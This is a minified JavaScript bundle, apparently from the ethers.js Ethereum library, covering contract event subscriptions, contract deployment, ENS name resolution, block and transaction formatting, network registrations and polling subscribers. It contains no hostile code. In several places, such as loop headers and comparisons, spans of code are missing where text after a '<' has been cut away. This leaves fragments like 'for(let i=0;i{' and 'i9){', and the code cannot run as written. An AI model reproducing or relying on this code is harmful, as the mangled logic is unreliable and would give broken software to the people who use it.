event==="string"){if(isHexString(event,32)){topics=[event]}else{fragment=contract.interface.getEvent(event);assertArgument(fragment,"unknown fragment","event",event);topics=[fragment.topicHash]}}else if(isDeferred(event)){topics=await event.getTopicFilter()}else if("fragment"in event){fragment=event.fragment;topics=[fragment.topicHash]}else{assertArgument(false,"unknown event name","event",event)}topics=topics.map(t=>{if(t==null){return null}if(Array.isArray(t)){const items=Array.from(new Set(t.map(t=>t.toLowerCase())).values());if(items.length===1){return items[0]}items.sort();return items}return t.toLowerCase()});const tag=topics.map(t=>{if(t==null){return"null"}if(Array.isArray(t)){return t.join("|")}return t}).join("&");return{fragment:fragment,tag:tag,topics:topics}}async function hasSub(contract,event){const{subs}=getInternal(contract);return subs.get((await getSubInfo(contract,event)).tag)||null}async function getSub(contract,operation,event){const provider=getProvider(contract.runner);assert(provider,"contract runner does not support subscribing","UNSUPPORTED_OPERATION",{operation:operation});const{fragment,tag,topics}=await getSubInfo(contract,event);const{addr,subs}=getInternal(contract);let sub=subs.get(tag);if(!sub){const address=addr?addr:contract;const filter={address:address,topics:topics};const listener=log=>{let foundFragment=fragment;if(foundFragment==null){try{foundFragment=contract.interface.getEvent(log.topics[0])}catch(error){}}if(foundFragment){const _foundFragment=foundFragment;const args=fragment?contract.interface.decodeEventLog(fragment,log.data,log.topics):[];emit(contract,event,args,listener=>{return new ContractEventPayload(contract,listener,event,_foundFragment,log)})}else{emit(contract,event,[],listener=>{return new ContractUnknownEventPayload(contract,listener,event,log)})}};let starting=[];const start=()=>{if(starting.length){return}starting.push(provider.on(filter,listener))};const stop=async()=>{if(starting.length==0){return}let started=starting;starting=[];await Promise.all(started);provider.off(filter,listener)};sub={tag:tag,listeners:[],start:start,stop:stop};subs.set(tag,sub)}return sub}let lastEmit=Promise.resolve();async function _emit(contract,event,args,payloadFunc){await lastEmit;const sub=await hasSub(contract,event);if(!sub){return false}const count=sub.listeners.length;sub.listeners=sub.listeners.filter(({listener,once})=>{const passArgs=Array.from(args);if(payloadFunc){passArgs.push(payloadFunc(once?null:listener))}try{listener.call(contract,...passArgs)}catch(error){}return!once});if(sub.listeners.length===0){sub.stop();getInternal(contract).subs.delete(sub.tag)}return count>0}async function emit(contract,event,args,payloadFunc){try{await lastEmit}catch(error){}const resultPromise=_emit(contract,event,args,payloadFunc);lastEmit=resultPromise;return await resultPromise}const passProperties=["then"];class BaseContract{target;interface;runner;filters;[internal];fallback;constructor(target,abi,runner,_deployTx){assertArgument(typeof target==="string"||isAddressable(target),"invalid value for Contract target","target",target);if(runner==null){runner=null}const iface=Interface.from(abi);defineProperties(this,{target:target,runner:runner,interface:iface});Object.defineProperty(this,internal,{value:{}});let addrPromise;let addr=null;let deployTx=null;if(_deployTx){const provider=getProvider(runner);deployTx=new ContractTransactionResponse(this.interface,provider,_deployTx)}let subs=new Map;if(typeof target==="string"){if(isHexString(target)){addr=target;addrPromise=Promise.resolve(target)}else{const resolver=getRunner(runner,"resolveName");if(!canResolve(resolver)){throw makeError("contract runner does not support name resolution","UNSUPPORTED_OPERATION",{operation:"resolveName"})}addrPromise=resolver.resolveName(target).then(addr=>{if(addr==null){throw makeError("an ENS name used for a contract target must be correctly configured","UNCONFIGURED_NAME",{value:target})}getInternal(this).addr=addr;return addr})}}else{addrPromise=target.getAddress().then(addr=>{if(addr==null){throw new Error("TODO")}getInternal(this).addr=addr;return addr})}setInternal(this,{addrPromise:addrPromise,addr:addr,deployTx:deployTx,subs:subs});const filters=new Proxy({},{get:(target,prop,receiver)=>{if(typeof prop==="symbol"||passProperties.indexOf(prop)>=0){return Reflect.get(target,prop,receiver)}try{return this.getEvent(prop)}catch(error){if(!isError(error,"INVALID_ARGUMENT")||error.argument!=="key"){throw error}}return undefined},has:(target,prop)=>{if(passProperties.indexOf(prop)>=0){return Reflect.has(target,prop)}return Reflect.has(target,prop)||this.interface.hasEvent(String(prop))}});defineProperties(this,{filters:filters});defineProperties(this,{fallback:iface.receive||iface.fallback?buildWrappedFallback(this):null});return new Proxy(this,{get:(target,prop,receiver)=>{if(typeof prop==="symbol"||prop in target||passProperties.indexOf(prop)>=0){return Reflect.get(target,prop,receiver)}try{return target.getFunction(prop)}catch(error){if(!isError(error,"INVALID_ARGUMENT")||error.argument!=="key"){throw error}}return undefined},has:(target,prop)=>{if(typeof prop==="symbol"||prop in target||passProperties.indexOf(prop)>=0){return Reflect.has(target,prop)}return target.interface.hasFunction(prop)}})}connect(runner){return new BaseContract(this.target,this.interface,runner)}attach(target){return new BaseContract(target,this.interface,this.runner)}async getAddress(){return await getInternal(this).addrPromise}async getDeployedCode(){const provider=getProvider(this.runner);assert(provider,"runner does not support .provider","UNSUPPORTED_OPERATION",{operation:"getDeployedCode"});const code=await provider.getCode(await this.getAddress());if(code==="0x"){return null}return code}async waitForDeployment(){const deployTx=this.deploymentTransaction();if(deployTx){await deployTx.wait();return this}const code=await this.getDeployedCode();if(code!=null){return this}const provider=getProvider(this.runner);assert(provider!=null,"contract runner does not support .provider","UNSUPPORTED_OPERATION",{operation:"waitForDeployment"});return new Promise((resolve,reject)=>{const checkCode=async()=>{try{const code=await this.getDeployedCode();if(code!=null){return resolve(this)}provider.once("block",checkCode)}catch(error){reject(error)}};checkCode()})}deploymentTransaction(){return getInternal(this).deployTx}getFunction(key){if(typeof key!=="string"){key=key.format()}const func=buildWrappedMethod(this,key);return func}getEvent(key){if(typeof key!=="string"){key=key.format()}return buildWrappedEvent(this,key)}async queryTransaction(hash){throw new Error("@TODO")}async queryFilter(event,fromBlock,toBlock){if(fromBlock==null){fromBlock=0}if(toBlock==null){toBlock="latest"}const{addr,addrPromise}=getInternal(this);const address=addr?addr:await addrPromise;const{fragment,topics}=await getSubInfo(this,event);const filter={address:address,topics:topics,fromBlock:fromBlock,toBlock:toBlock};const provider=getProvider(this.runner);assert(provider,"contract runner does not have a provider","UNSUPPORTED_OPERATION",{operation:"queryFilter"});return(await provider.getLogs(filter)).map(log=>{let foundFragment=fragment;if(foundFragment==null){try{foundFragment=this.interface.getEvent(log.topics[0])}catch(error){}}if(foundFragment){try{return new EventLog(log,this.interface,foundFragment)}catch(error){return new UndecodedEventLog(log,error)}}return new Log(log,provider)})}async on(event,listener){const sub=await getSub(this,"on",event);sub.listeners.push({listener:listener,once:false});sub.start();return this}async once(event,listener){const sub=await getSub(this,"once",event);sub.listeners.push({listener:listener,once:true});sub.start();return this}async emit(event,...args){return await emit(this,event,args,null)}async listenerCount(event){if(event){const sub=await hasSub(this,event);if(!sub){return 0}return sub.listeners.length}const{subs}=getInternal(this);let total=0;for(const{listeners}of subs.values()){total+=listeners.length}return total}async listeners(event){if(event){const sub=await hasSub(this,event);if(!sub){return[]}return sub.listeners.map(({listener})=>listener)}const{subs}=getInternal(this);let result=[];for(const{listeners}of subs.values()){result=result.concat(listeners.map(({listener})=>listener))}return result}async off(event,listener){const sub=await hasSub(this,event);if(!sub){return this}if(listener){const index=sub.listeners.map(({listener})=>listener).indexOf(listener);if(index>=0){sub.listeners.splice(index,1)}}if(listener==null||sub.listeners.length===0){sub.stop();getInternal(this).subs.delete(sub.tag)}return this}async removeAllListeners(event){if(event){const sub=await hasSub(this,event);if(!sub){return this}sub.stop();getInternal(this).subs.delete(sub.tag)}else{const{subs}=getInternal(this);for(const{tag,stop}of subs.values()){stop();subs.delete(tag)}}return this}async addListener(event,listener){return await this.on(event,listener)}async removeListener(event,listener){return await this.off(event,listener)}static buildClass(abi){class CustomContract extends BaseContract{constructor(address,runner=null){super(address,abi,runner)}}return CustomContract}static from(target,abi,runner){if(runner==null){runner=null}const contract=new this(target,abi,runner);return contract}}function _ContractBase(){return BaseContract}class Contract extends _ContractBase(){}class ContractFactory{interface;bytecode;runner;constructor(abi,bytecode,runner){const iface=Interface.from(abi);if(bytecode instanceof Uint8Array){bytecode=hexlify(getBytes(bytecode))}else{if(typeof bytecode==="object"){bytecode=bytecode.object}if(!bytecode.startsWith("0x")){bytecode="0x"+bytecode}bytecode=hexlify(getBytes(bytecode))}defineProperties(this,{bytecode:bytecode,interface:iface,runner:runner||null})}attach(target){return new BaseContract(target,this.interface,this.runner)}async getDeployTransaction(...args){let overrides={};const fragment=this.interface.deploy;if(fragment.inputs.length+1===args.length){overrides=await copyOverrides(args.pop())}if(fragment.inputs.length!==args.length){throw new Error("incorrect number of arguments to constructor")}const resolvedArgs=await resolveArgs(this.runner,fragment.inputs,args);const data=concat([this.bytecode,this.interface.encodeDeploy(resolvedArgs)]);return Object.assign({},overrides,{data:data})}async deploy(...args){const tx=await this.getDeployTransaction(...args);assert(this.runner&&typeof this.runner.sendTransaction==="function","factory runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const sentTx=await this.runner.sendTransaction(tx);const address=getCreateAddress(sentTx);return new BaseContract(address,this.interface,this.runner,sentTx)}connect(runner){return new ContractFactory(this.interface,this.bytecode,runner)}static fromSolidity(output,runner){assertArgument(output!=null,"bad compiler output","output",output);if(typeof output==="string"){output=JSON.parse(output)}const abi=output.abi;let bytecode="";if(output.bytecode){bytecode=output.bytecode}else if(output.evm&&output.evm.bytecode){bytecode=output.evm.bytecode}return new this(abi,bytecode,runner)}}function getIpfsLink(link){if(link.match(/^ipfs:\/\/ipfs\//i)){link=link.substring(12)}else if(link.match(/^ipfs:\/\//i)){link=link.substring(7)}else{assertArgument(false,"unsupported IPFS format","link",link)}return`https:/\/gateway.ipfs.io/ipfs/${link}`}class MulticoinProviderPlugin{name;constructor(name){defineProperties(this,{name:name})}connect(proivder){return this}supportsCoinType(coinType){return false}async encodeAddress(coinType,address){throw new Error("unsupported coin")}async decodeAddress(coinType,data){throw new Error("unsupported coin")}}const matcherIpfs=new RegExp("^(ipfs)://(.*)$","i");const matchers=[new RegExp("^(https)://(.*)$","i"),new RegExp("^(data):(.*)$","i"),matcherIpfs,new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$","i")];class EnsResolver{provider;address;name;#supports2544;#resolver;constructor(provider,address,name){defineProperties(this,{provider:provider,address:address,name:name});this.#supports2544=null;this.#resolver=new Contract(address,["function supportsInterface(bytes4) view returns (bool)","function resolve(bytes, bytes) view returns (bytes)","function addr(bytes32) view returns (address)","function addr(bytes32, uint) view returns (bytes)","function text(bytes32, string) view returns (string)","function contenthash(bytes32) view returns (bytes)"],provider)}async supportsWildcard(){if(this.#supports2544==null){this.#supports2544=(async()=>{try{return await this.#resolver.supportsInterface("0x9061b923")}catch(error){if(isError(error,"CALL_EXCEPTION")){return false}this.#supports2544=null;throw error}})()}return await this.#supports2544}async#fetch(funcName,params){params=(params||[]).slice();const iface=this.#resolver.interface;params.unshift(namehash(this.name));let fragment=null;if(await this.supportsWildcard()){fragment=iface.getFunction(funcName);assert(fragment,"missing fragment","UNKNOWN_ERROR",{info:{funcName:funcName}});params=[dnsEncode(this.name,255),iface.encodeFunctionData(fragment,params)];funcName="resolve(bytes,bytes)"}params.push({enableCcipRead:true});try{const result=await this.#resolver[funcName](...params);if(fragment){return iface.decodeFunctionResult(fragment,result)[0]}return result}catch(error){if(!isError(error,"CALL_EXCEPTION")){throw error}}return null}async getAddress(coinType){if(coinType==null){coinType=60}if(coinType===60){try{const result=await this.#fetch("addr(bytes32)");if(result==null||result===ZeroAddress){return null}return result}catch(error){if(isError(error,"CALL_EXCEPTION")){return null}throw error}}if(coinType>=0&&coinType<2147483648){let ethCoinType=coinType+2147483648;const data=await this.#fetch("addr(bytes32,uint)",[ethCoinType]);if(isHexString(data,20)){return getAddress(data)}}let coinPlugin=null;for(const plugin of this.provider.plugins){if(!(plugin instanceof MulticoinProviderPlugin)){continue}if(plugin.supportsCoinType(coinType)){coinPlugin=plugin;break}}if(coinPlugin==null){return null}const data=await this.#fetch("addr(bytes32,uint)",[coinType]);if(data==null||data==="0x"){return null}const address=await coinPlugin.decodeAddress(coinType,data);if(address!=null){return address}assert(false,`invalid coin data`,"UNSUPPORTED_OPERATION",{operation:`getAddress(${coinType})`,info:{coinType:coinType,data:data}})}async getText(key){const data=await this.#fetch("text(bytes32,string)",[key]);if(data==null||data==="0x"){return null}return data}async getContentHash(){const data=await this.#fetch("contenthash(bytes32)");if(data==null||data==="0x"){return null}const ipfs=data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/);if(ipfs){const scheme=ipfs[1]==="e3010170"?"ipfs":"ipns";const length=parseInt(ipfs[4],16);if(ipfs[5].length===length*2){return`${scheme}:/\/${encodeBase58("0x"+ipfs[2])}`}}const swarm=data.match(/^0xe40101fa011b20([0-9a-f]*)$/);if(swarm&&swarm[1].length===64){return`bzz:/\/${swarm[1]}`}assert(false,`invalid or unsupported content hash data`,"UNSUPPORTED_OPERATION",{operation:"getContentHash()",info:{data:data}})}async getAvatar(){const avatar=await this._getAvatar();return avatar.url}async _getAvatar(){const linkage=[{type:"name",value:this.name}];try{const avatar=await this.getText("avatar");if(avatar==null){linkage.push({type:"!avatar",value:""});return{url:null,linkage:linkage}}linkage.push({type:"avatar",value:avatar});for(let i=0;i{if(allowNull&&array==null){return null}if(!Array.isArray(array)){throw new Error("not an array")}return array.map(i=>format(i))}}function object(format,altNames){return value=>{const result={};for(const key in format){let srcKey=key;if(altNames&&key in altNames&&!(srcKey in value)){for(const altKey of altNames[key]){if(altKey in value){srcKey=altKey;break}}}try{const nv=format[key](value[srcKey]);if(nv!==undefined){result[key]=nv}}catch(error){const message=error instanceof Error?error.message:"not-an-error";assert(false,`invalid value for value.${key} (${message})`,"BAD_DATA",{value:value})}}return result}}function formatBoolean(value){switch(value){case true:case"true":return true;case false:case"false":return false}assertArgument(false,`invalid boolean; ${JSON.stringify(value)}`,"value",value)}function formatData(value){assertArgument(isHexString(value,true),"invalid data","value",value);return value}function formatHash(value){assertArgument(isHexString(value,32),"invalid hash","value",value);return value}const _formatLog=object({address:getAddress,blockHash:formatHash,blockNumber:getNumber,data:formatData,index:getNumber,removed:allowNull(formatBoolean,false),topics:arrayOf(formatHash),transactionHash:formatHash,transactionIndex:getNumber},{index:["logIndex"]});function formatLog(value){return _formatLog(value)}const _formatBlock=object({hash:allowNull(formatHash),parentHash:formatHash,parentBeaconBlockRoot:allowNull(formatHash,null),number:getNumber,timestamp:getNumber,nonce:allowNull(formatData),difficulty:getBigInt,gasLimit:getBigInt,gasUsed:getBigInt,stateRoot:allowNull(formatHash,null),receiptsRoot:allowNull(formatHash,null),blobGasUsed:allowNull(getBigInt,null),excessBlobGas:allowNull(getBigInt,null),miner:allowNull(getAddress),prevRandao:allowNull(formatHash,null),extraData:formatData,baseFeePerGas:allowNull(getBigInt)},{prevRandao:["mixHash"]});function formatBlock(value){const result=_formatBlock(value);result.transactions=value.transactions.map(tx=>{if(typeof tx==="string"){return tx}return formatTransactionResponse(tx)});return result}const _formatReceiptLog=object({transactionIndex:getNumber,blockNumber:getNumber,transactionHash:formatHash,address:getAddress,topics:arrayOf(formatHash),data:formatData,index:getNumber,blockHash:formatHash},{index:["logIndex"]});function formatReceiptLog(value){return _formatReceiptLog(value)}const _formatTransactionReceipt=object({to:allowNull(getAddress,null),from:allowNull(getAddress,null),contractAddress:allowNull(getAddress,null),index:getNumber,root:allowNull(hexlify),gasUsed:getBigInt,blobGasUsed:allowNull(getBigInt,null),logsBloom:allowNull(formatData),blockHash:formatHash,hash:formatHash,logs:arrayOf(formatReceiptLog),blockNumber:getNumber,cumulativeGasUsed:getBigInt,effectiveGasPrice:allowNull(getBigInt),blobGasPrice:allowNull(getBigInt,null),status:allowNull(getNumber),type:allowNull(getNumber,0)},{effectiveGasPrice:["gasPrice"],hash:["transactionHash"],index:["transactionIndex"]});function formatTransactionReceipt(value){return _formatTransactionReceipt(value)}function formatTransactionResponse(value){if(value.to&&getBigInt(value.to)===BN_0){value.to="0x0000000000000000000000000000000000000000"}const result=object({hash:formatHash,index:allowNull(getNumber,undefined),type:value=>{if(value==="0x"||value==null){return 0}return getNumber(value)},accessList:allowNull(accessListify,null),blobVersionedHashes:allowNull(arrayOf(formatHash,true),null),authorizationList:allowNull(arrayOf(v=>{let sig;if(v.signature){sig=v.signature}else{let yParity=v.yParity;if(yParity==="0x1b"){yParity=0}else if(yParity==="0x1c"){yParity=1}sig=Object.assign({},v,{yParity:yParity})}return{address:getAddress(v.address),chainId:getBigInt(v.chainId),nonce:getBigInt(v.nonce),signature:Signature.from(sig)}},false),null),blockHash:allowNull(formatHash,null),blockNumber:allowNull(getNumber,null),transactionIndex:allowNull(getNumber,null),from:getAddress,gasPrice:allowNull(getBigInt),maxPriorityFeePerGas:allowNull(getBigInt),maxFeePerGas:allowNull(getBigInt),maxFeePerBlobGas:allowNull(getBigInt,null),gasLimit:getBigInt,to:allowNull(getAddress,null),value:getBigInt,nonce:getNumber,data:formatData,creates:allowNull(getAddress,null),chainId:allowNull(getBigInt,null)},{data:["input"],gasLimit:["gas"],index:["transactionIndex"]})(value);if(result.to==null&&result.creates==null){result.creates=getCreateAddress(result)}if((value.type===1||value.type===2)&&value.accessList==null){result.accessList=[]}if(value.signature){result.signature=Signature.from(value.signature)}else{result.signature=Signature.from(value)}if(result.chainId==null){const chainId=result.signature.legacyChainId;if(chainId!=null){result.chainId=chainId}}if(result.blockHash&&getBigInt(result.blockHash)===BN_0){result.blockHash=null}return result}const EnsAddress="0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e";class NetworkPlugin{name;constructor(name){defineProperties(this,{name:name})}clone(){return new NetworkPlugin(this.name)}}class GasCostPlugin extends NetworkPlugin{effectiveBlock;txBase;txCreate;txDataZero;txDataNonzero;txAccessListStorageKey;txAccessListAddress;constructor(effectiveBlock,costs){if(effectiveBlock==null){effectiveBlock=0}super(`org.ethers.network.plugins.GasCost#${effectiveBlock||0}`);const props={effectiveBlock:effectiveBlock};function set(name,nullish){let value=(costs||{})[name];if(value==null){value=nullish}assertArgument(typeof value==="number",`invalud value for ${name}`,"costs",costs);props[name]=value}set("txBase",21e3);set("txCreate",32e3);set("txDataZero",4);set("txDataNonzero",16);set("txAccessListStorageKey",1900);set("txAccessListAddress",2400);defineProperties(this,props)}clone(){return new GasCostPlugin(this.effectiveBlock,this)}}class EnsPlugin extends NetworkPlugin{address;targetNetwork;constructor(address,targetNetwork){super("org.ethers.plugins.network.Ens");defineProperties(this,{address:address||EnsAddress,targetNetwork:targetNetwork==null?1:targetNetwork})}clone(){return new EnsPlugin(this.address,this.targetNetwork)}}class FeeDataNetworkPlugin extends NetworkPlugin{#feeDataFunc;get feeDataFunc(){return this.#feeDataFunc}constructor(feeDataFunc){super("org.ethers.plugins.network.FeeData");this.#feeDataFunc=feeDataFunc}async getFeeData(provider){return await this.#feeDataFunc(provider)}clone(){return new FeeDataNetworkPlugin(this.#feeDataFunc)}}class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin{#url;#processFunc;get url(){return this.#url}get processFunc(){return this.#processFunc}constructor(url,processFunc){super("org.ethers.plugins.network.FetchUrlFeeDataPlugin");this.#url=url;this.#processFunc=processFunc}clone(){return this}}const Networks=new Map;class Network{#name;#chainId;#plugins;constructor(name,chainId){this.#name=name;this.#chainId=getBigInt(chainId);this.#plugins=new Map}toJSON(){return{name:this.name,chainId:String(this.chainId)}}get name(){return this.#name}set name(value){this.#name=value}get chainId(){return this.#chainId}set chainId(value){this.#chainId=getBigInt(value,"chainId")}matches(other){if(other==null){return false}if(typeof other==="string"){try{return this.chainId===getBigInt(other)}catch(error){}return this.name===other}if(typeof other==="number"||typeof other==="bigint"){try{return this.chainId===getBigInt(other)}catch(error){}return false}if(typeof other==="object"){if(other.chainId!=null){try{return this.chainId===getBigInt(other.chainId)}catch(error){}return false}if(other.name!=null){return this.name===other.name}return false}return false}get plugins(){return Array.from(this.#plugins.values())}attachPlugin(plugin){if(this.#plugins.get(plugin.name)){throw new Error(`cannot replace existing plugin: ${plugin.name} `)}this.#plugins.set(plugin.name,plugin.clone());return this}getPlugin(name){return this.#plugins.get(name)||null}getPlugins(basename){return this.plugins.filter(p=>p.name.split("#")[0]===basename)}clone(){const clone=new Network(this.name,this.chainId);this.plugins.forEach(plugin=>{clone.attachPlugin(plugin.clone())});return clone}computeIntrinsicGas(tx){const costs=this.getPlugin("org.ethers.plugins.network.GasCost")||new GasCostPlugin;let gas=costs.txBase;if(tx.to==null){gas+=costs.txCreate}if(tx.data){for(let i=2;i9){let frac=BigInt(comps[1].substring(0,9));if(!comps[1].substring(9).match(/^0+$/)){frac++}comps[1]=frac.toString()}return BigInt(comps[0]+comps[1])}function getGasStationPlugin(url){return new FetchUrlFeeDataNetworkPlugin(url,async(fetchFeeData,provider,request)=>{request.setHeader("User-Agent","ethers");let response;try{const[_response,_feeData]=await Promise.all([request.send(),fetchFeeData()]);response=_response;const payload=response.bodyJson.standard;const feeData={gasPrice:_feeData.gasPrice,maxFeePerGas:parseUnits(payload.maxFee,9),maxPriorityFeePerGas:parseUnits(payload.maxPriorityFee,9)};return feeData}catch(error){assert(false,`error encountered with polygon gas station (${JSON.stringify(request.url)})`,"SERVER_ERROR",{request:request,response:response,error:error})}})}let injected=false;function injectCommonNetworks(){if(injected){return}injected=true;function registerEth(name,chainId,options){const func=function(){const network=new Network(name,chainId);if(options.ensNetwork!=null){network.attachPlugin(new EnsPlugin(null,options.ensNetwork))}network.attachPlugin(new GasCostPlugin);(options.plugins||[]).forEach(plugin=>{network.attachPlugin(plugin)});return network};Network.register(name,func);Network.register(chainId,func);if(options.altNames){options.altNames.forEach(name=>{Network.register(name,func)})}}registerEth("mainnet",1,{ensNetwork:1,altNames:["homestead"]});registerEth("ropsten",3,{ensNetwork:3});registerEth("rinkeby",4,{ensNetwork:4});registerEth("goerli",5,{ensNetwork:5});registerEth("kovan",42,{ensNetwork:42});registerEth("sepolia",11155111,{ensNetwork:11155111});registerEth("holesky",17e3,{ensNetwork:17e3});registerEth("classic",61,{});registerEth("classicKotti",6,{});registerEth("arbitrum",42161,{ensNetwork:1});registerEth("arbitrum-goerli",421613,{});registerEth("arbitrum-sepolia",421614,{});registerEth("base",8453,{ensNetwork:1});registerEth("base-goerli",84531,{});registerEth("base-sepolia",84532,{});registerEth("bnb",56,{ensNetwork:1});registerEth("bnbt",97,{});registerEth("linea",59144,{ensNetwork:1});registerEth("linea-goerli",59140,{});registerEth("linea-sepolia",59141,{});registerEth("matic",137,{ensNetwork:1,plugins:[getGasStationPlugin("https://gasstation.polygon.technology/v2")]});registerEth("matic-amoy",80002,{});registerEth("matic-mumbai",80001,{altNames:["maticMumbai","maticmum"],plugins:[getGasStationPlugin("https://gasstation-testnet.polygon.technology/v2")]});registerEth("optimism",10,{ensNetwork:1,plugins:[]});registerEth("optimism-goerli",420,{});registerEth("optimism-sepolia",11155420,{});registerEth("xdai",100,{ensNetwork:1})}function copy$2(obj){return JSON.parse(JSON.stringify(obj))}class PollingBlockSubscriber{#provider;#poller;#interval;#blockNumber;constructor(provider){this.#provider=provider;this.#poller=null;this.#interval=4e3;this.#blockNumber=-2}get pollingInterval(){return this.#interval}set pollingInterval(value){this.#interval=value}async#poll(){try{const blockNumber=await this.#provider.getBlockNumber();if(this.#blockNumber===-2){this.#blockNumber=blockNumber;return}if(blockNumber!==this.#blockNumber){for(let b=this.#blockNumber+1;b<=blockNumber;b++){if(this.#poller==null){return}await this.#provider.emit("block",b)}this.#blockNumber=blockNumber}}catch(error){}if(this.#poller==null){return}this.#poller=this.#provider._setTimeout(this.#poll.bind(this),this.#interval)}start(){if(this.#poller){return}this.#poller=this.#provider._setTimeout(this.#poll.bind(this),this.#interval);this.#poll()}stop(){if(!this.#poller){return}this.#provider._clearTimeout(this.#poller);this.#poller=null}pause(dropWhilePaused){this.stop();if(dropWhilePaused){this.#blockNumber=-2}}resume(){this.start()}}class OnBlockSubscriber{#provider;#poll;#running;constructor(provider){this.#provider=provider;this.#running=false;this.#poll=blockNumber=>{this._poll(blockNumber,this.#provider)}}async _poll(blockNumber,provider){throw new Error("sub-classes must override this")}start(){if(this.#running){return}this.#running=true;this.#poll(-2);this.#provider.on("block",this.#poll)}stop(){if(!this.#running){return}this.#running=false;this.#provider.off("block",this.#poll)}pause(dropWhilePaused){this.stop()}resume(){this.start()}}class PollingBlockTagSubscriber extends OnBlockSubscriber{#tag;#lastBlock;constructor(provider,tag){super(provider);this.#tag=tag;this.#lastBlock=-2}pause(dropWhilePaused){if(dropWhilePaused){this.#lastBlock=-2}super.pause(dropWhilePaused)}async _poll(blockNumber,provider){const block=await provider.getBlock(this.#tag);if(block==null){return}if(this.#lastBlock===-2){this.#lastBlock=block.number}else if(block.number>this.#lastBlock){provider.emit(this.#tag,block.number);this.#lastBlock=block.number}}}class PollingOrphanSubscriber extends OnBlockSubscriber{#filter;constructor(provider,filter){super(provider);this.#filter=copy$2(filter)}async _poll(blockNumber,provider){throw new Error("@TODO")}}class PollingTransactionSubscriber extends OnBlockSubscriber{#hash;constructor(provider,hash){super(provider);this.#hash=hash}async _poll(blockNumber,provider){const tx=await provider.getTransactionReceipt(this.#hash);if(tx){provider.emit(this.#hash,tx)}}}class PollingEventSubscriber{#provider;#filter;#poller;#running;#blockNumber;constructor(provider,filter){this.#provider=provider;this.#filter=copy$2(filter);this.#poller=this.#poll.bind(this);this.#running=false;this.#blockNumber=-2}async#poll(blockNumber){if(this.#blockNumber===-2){return}const filter=copy$2(this.#filter);filter.fromBlock=this.#blockNumber+1;filter.toBlock=blockNumber;const logs=await this.#provider.getLogs(filter);if(logs.length===0){if(this.#blockNumber{this.#blockNumber=blockNumber})}this.#provider.on("block",this.#poller)}stop(){if(!this.#running){return}this.#running=false;this.#provider.off("block",this.#poller)}pause(dropWhilePaused){this.stop();if(dropWhilePaused){this.#blockNumber=-2}}resume(){this.start()}}const BN_2$1=BigInt(2);const MAX_CCIP_REDIRECTS=10;function isPromise$1(value){return value&&typeof value.then==="function"}function getTag(prefix,value){return prefix+":"+JSON.stringify(value,(k,v)=>{if(v==null){return"null"}if(typeof v==="bigint"){return`bigint:${v.toString()}`}if(typeof v==="string"){return v.toLowerCase()}if(typeof v==="object"&&!Array.isArray(v)){const keys=Object.keys(v);keys.sort();return keys.reduce((accum,key)=>{accum[key]=v[key];return accum},{})}return v})}class UnmanagedSubscriber{name;constructor(name){defineProperties(this,{name:name})}start(){}stop(){}pause(dropWhilePaused){}resume(){}}function copy$1(value){return JSON.parse(JSON.stringify(value))}function concisify(items){items=Array.from(new Set(items).values());items.sort();return items}async function getSubscription(_event,provider){if(_event==null){throw new Error("invalid event")}if(Array.isArray(_event)){_event={topics:_event}}if(typeof _event==="string"){switch(_event){case"block":case"debug":case"error":case"finalized":case"network":case"pending":case"safe":{return{type:_event,tag:_event}}}}if(isHexString(_event,32)){const hash=_event.toLowerCase();return{type:"transaction",tag:getTag("tx",{hash:hash}),hash:hash}}if(_event.orphan){const event=_event;return{type:"orphan",tag:getTag("orphan",event),filter:copy$1(event)}}if(_event.address||_event.topics){const event=_event;const filter={topics:(event.topics||[]).map(t=>{if(t==null){return null}if(Array.isArray(t)){return concisify(t.map(t=>t.toLowerCase()))}return t.toLowerCase()})};if(event.address){const addresses=[];const promises=[];const addAddress=addr=>{if(isHexString(addr)){addresses.push(addr)}else{promises.push((async()=>{addresses.push(await resolveAddress(addr,provider))})())}};if(Array.isArray(event.address)){event.address.forEach(addAddress)}else{addAddress(event.address)}if(promises.length){await Promise.all(promises)}filter.address=concisify(addresses.map(a=>a.toLowerCase()))}return{filter:filter,tag:getTag("event",filter),type:"event"}}assertArgument(false,"unknown ProviderEvent","event",_event)}function getTime$1(){return(new Date).getTime()}const defaultOptions$1={cacheTimeout:250,pollingInterval:4e3};class AbstractProvider{#subs;#plugins;#pausedState;#destroyed;#networkPromise;#anyNetwork;#performCache;#lastBlockNumber;#nextTimer;#timers;#disableCcipRead;#options;constructor(_network,options){this.#options=Object.assign({},defaultOptions$1,options||{});if(_network==="any"){this.#anyNetwork=true;this.#networkPromise=null}else if(_network){const network=Network.from(_network);this.#anyNetwork=false;this.#networkPromise=Promise.resolve(network);setTimeout(()=>{this.emit("network",network,null)},0)}else{this.#anyNetwork=false;this.#networkPromise=null}this.#lastBlockNumber=-1;this.#performCache=new Map;this.#subs=new Map;this.#plugins=new Map;this.#pausedState=null;this.#destroyed=false;this.#nextTimer=1;this.#timers=new Map;this.#disableCcipRead=false}get pollingInterval(){return this.#options.pollingInterval}get provider(){return this}get plugins(){return Array.from(this.#plugins.values())}attachPlugin(plugin){if(this.#plugins.get(plugin.name)){throw new Error(`cannot replace existing plugin: ${plugin.name} `)}this.#plugins.set(plugin.name,plugin.connect(this));return this}getPlugin(name){return this.#plugins.get(name)||null}get disableCcipRead(){return this.#disableCcipRead}set disableCcipRead(value){this.#disableCcipRead=!!value}async#perform(req){const timeout=this.#options.cacheTimeout;if(timeout<0){return await this._perform(req)}const tag=getTag(req.method,req);let perform=this.#performCache.get(tag);if(!perform){perform=this._perform(req);this.#performCache.set(tag,perform);setTimeout(()=>{if(this.#performCache.get(tag)===perform){this.#performCache.delete(tag)}},timeout)}return await perform}async ccipReadFetch(tx,calldata,urls){if(this.disableCcipRead||urls.length===0||tx.to==null){return null}const sender=tx.to.toLowerCase();const data=calldata.toLowerCase();const errorMessages=[];for(let i=0;i=500,`response not found during CCIP fetch: ${errorMessage}`,"OFFCHAIN_FAULT",{reason:"404_MISSING_RESOURCE",transaction:tx,info:{url:url,errorMessage:errorMessage}});errorMessages.push(errorMessage)}assert(false,`error encountered during CCIP fetch: ${errorMessages.map(m=>JSON.stringify(m)).join(", ")}`,"OFFCHAIN_FAULT",{reason:"500_SERVER_ERROR",transaction:tx,info:{urls:urls,errorMessages:errorMessages}})}_wrapBlock(value,network){return new 